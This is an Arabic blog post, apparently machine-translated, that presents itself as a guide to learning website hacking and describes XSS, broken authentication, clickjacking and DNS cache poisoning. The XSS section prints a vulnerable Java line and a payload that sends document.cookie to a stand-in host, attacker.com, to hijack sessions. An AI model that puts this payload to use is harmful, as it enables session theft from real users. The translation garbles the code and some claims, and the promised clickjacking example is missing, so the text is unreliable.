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دليل تعلم الهكر واختراق المواقع من الف الى ياء 2020

هنا بعض طرق تعلم الاختراق من الصفر الى الاحتراف عبر تعلم اختراق المواقع

9. هجمات البرمجة النصية عبر المواقع

تحدث البرمجة النصية عبر المواقع ، والمعروفة أيضًا باسم هجوم XSS ، عندما يتم إرسال تطبيق أو عنوان URL "الحصول على طلب" أو حزمة ملف إلى نافذة متصفح الويب وتجاوز عملية التحقق من الصحة. بمجرد تشغيل نص XSS ، فإن الخاصية المخادعة تجعل المستخدمين يعتقدون أن الصفحة المخترقة لموقع ويب معين مشروعة.

على سبيل المثال ، إذا كان http://www.example.com/abcd.html يحتوي على نص XSS ، فقد يرى المستخدم نافذة منبثقة تطلب معلومات بطاقة الائتمان والمعلومات الحساسة الأخرى.

مثال البرمجة النصية عبر المواقع التقنية:

مثال تقني أكثر يستخدمه الهكر:

(String) page + = "<input name =’ creditcard ’type =" TEXT 'value =' ”+ request.getParameter (" CC ") +" ">" ؛

يقوم الهكر بتعديل معلمة "CC" في متصفحه إلى:

"> <script> document.location =" http: //www.attacker.com/cgi-bin/cookie.cgi؟ foo = ’+ document.cookie </script>"

يؤدي هذا إلى إرسال معرف جلسة المستخدم إلى موقع الويب الخاص بالمهاجم ، مما يسمح للهكر باختراق جلسة المستخدم الحالية. وهذا يعني أن المخترق لديه حق الوصول إلى بيانات اعتماد مسؤول الموقع ويمكنه التحكم الكامل فيه. بعبارة أخرى ، اخترقها.

8. المصادقة المكسورة وهجمات إدارة الجلسة

إذا كان نظام مصادقة المستخدم لموقعك على الويب ضعيفًا ، فيمكن للمتسللين الاستفادة الكاملة.

تتضمن أنظمة المصادقة كلمات المرور وإدارة المفاتيح ومعرفات الجلسات وملفات تعريف الارتباط التي يمكن أن تسمح للمخترق بالوصول إلى حسابك من أي جهاز كمبيوتر (طالما أنها صالحة).

إذا استغل أحد المخترقين نظام المصادقة وإدارة الجلسة ، فيمكنهم افتراض هوية المستخدم.

مخيف حقا.

اطرح على نفسك هذه الأسئلة لمعرفة ما إذا كان موقع الويب الخاص بك عرضة لكسر المصادقة وهجوم إدارة الجلسة:

هل بيانات اعتماد المستخدم ضعيفة (مثل تخزينها باستخدام التجزئة أو التشفير)؟
هل يمكن تخمين بيانات الاعتماد أو استبدالها من خلال وظائف إدارة الحساب الضعيفة (مثل إنشاء الحساب أو تغيير كلمة المرور أو استعادة كلمة المرور أو معرفات الجلسة الضعيفة)؟
هل معرّفات الجلسات معروضة في عنوان URL (مثل إعادة كتابة عنوان URL)؟
هل معرّفات الجلسات عرضة لهجمات تثبيت الجلسات؟
هل مهلة معرفات الجلسة وهل يمكن للمستخدمين تسجيل الخروج؟
إذا أجبت بـ "نعم" على أي من هذه الأسئلة ، فقد يكون موقعك عرضة للتسلل.

7. هجمات Clickjacking

Clickjacking ، وتسمى أيضًا هجوم واجهة المستخدم ، عندما يستخدم المخترق طبقات معتمة متعددة لخداع المستخدم للنقر على الطبقة العليا دون علمهم.

وبالتالي ، يقوم الهكر بنقرات "الاختطاف" غير المخصصة للصفحة الفعلية ، ولكن لصفحة يريد المهاجم أن تكون فيها.

على سبيل المثال ، باستخدام تركيبة مصنوعة بعناية من أوراق الأنماط وإطارات iframe ومربعات النص ، يمكن أن يدفع المستخدم إلى الاعتقاد بأنه يكتب في كلمة المرور لحسابه المصرفي ، ولكنه في الواقع يكتب في إطار غير مرئي يتحكم فيه المهاجم.

مثال على Clickjacking:

في ما يلي مثال مباشر وآمن لكيفية عمل Clickingacking:


وإليك مقطع فيديو يوضح كيف ساعدنا Twitter في الدفاع ضد هجوم Clickjacking:

6. تسمم ذاكرة التخزين المؤقت لـ DNS

يتضمن تسمم ذاكرة التخزين المؤقت لـ DNS بيانات ذاكرة التخزين المؤقت القديمة التي قد تعتقد أنه لم يعد لديك على جهاز الكمبيوتر الخاص بك ، ولكنها في الواقع "سامة".

يُعرف أيضًا باسم خداع DNS ، يمكن للمتسللين تحديد نقاط الضعف في نظام اسم النطاق ، مما يسمح لهم بتحويل حركة المرور من الخوادم الشرعية إلى موقع ويب و / أو خادم مزيف.

يمكن أن ينتشر هذا النوع من الهجوم وينسخ نفسه من خادم DNS إلى DNS آخر ، مما يؤدي إلى "تسمم" كل شيء في طريقه.

في الواقع ، في عام 2010 ، أدى هجوم التسمم بنظام أسماء النطاقات إلى اختراق جدار الحماية العظيم للصين (GFC) بشكل مؤقت وحظر بعض المحتويات في الولايات المتحدة حتى تم إصلاح المشكلة. #هكر #تعلم_الهكر #اختراق_المواقع #technology
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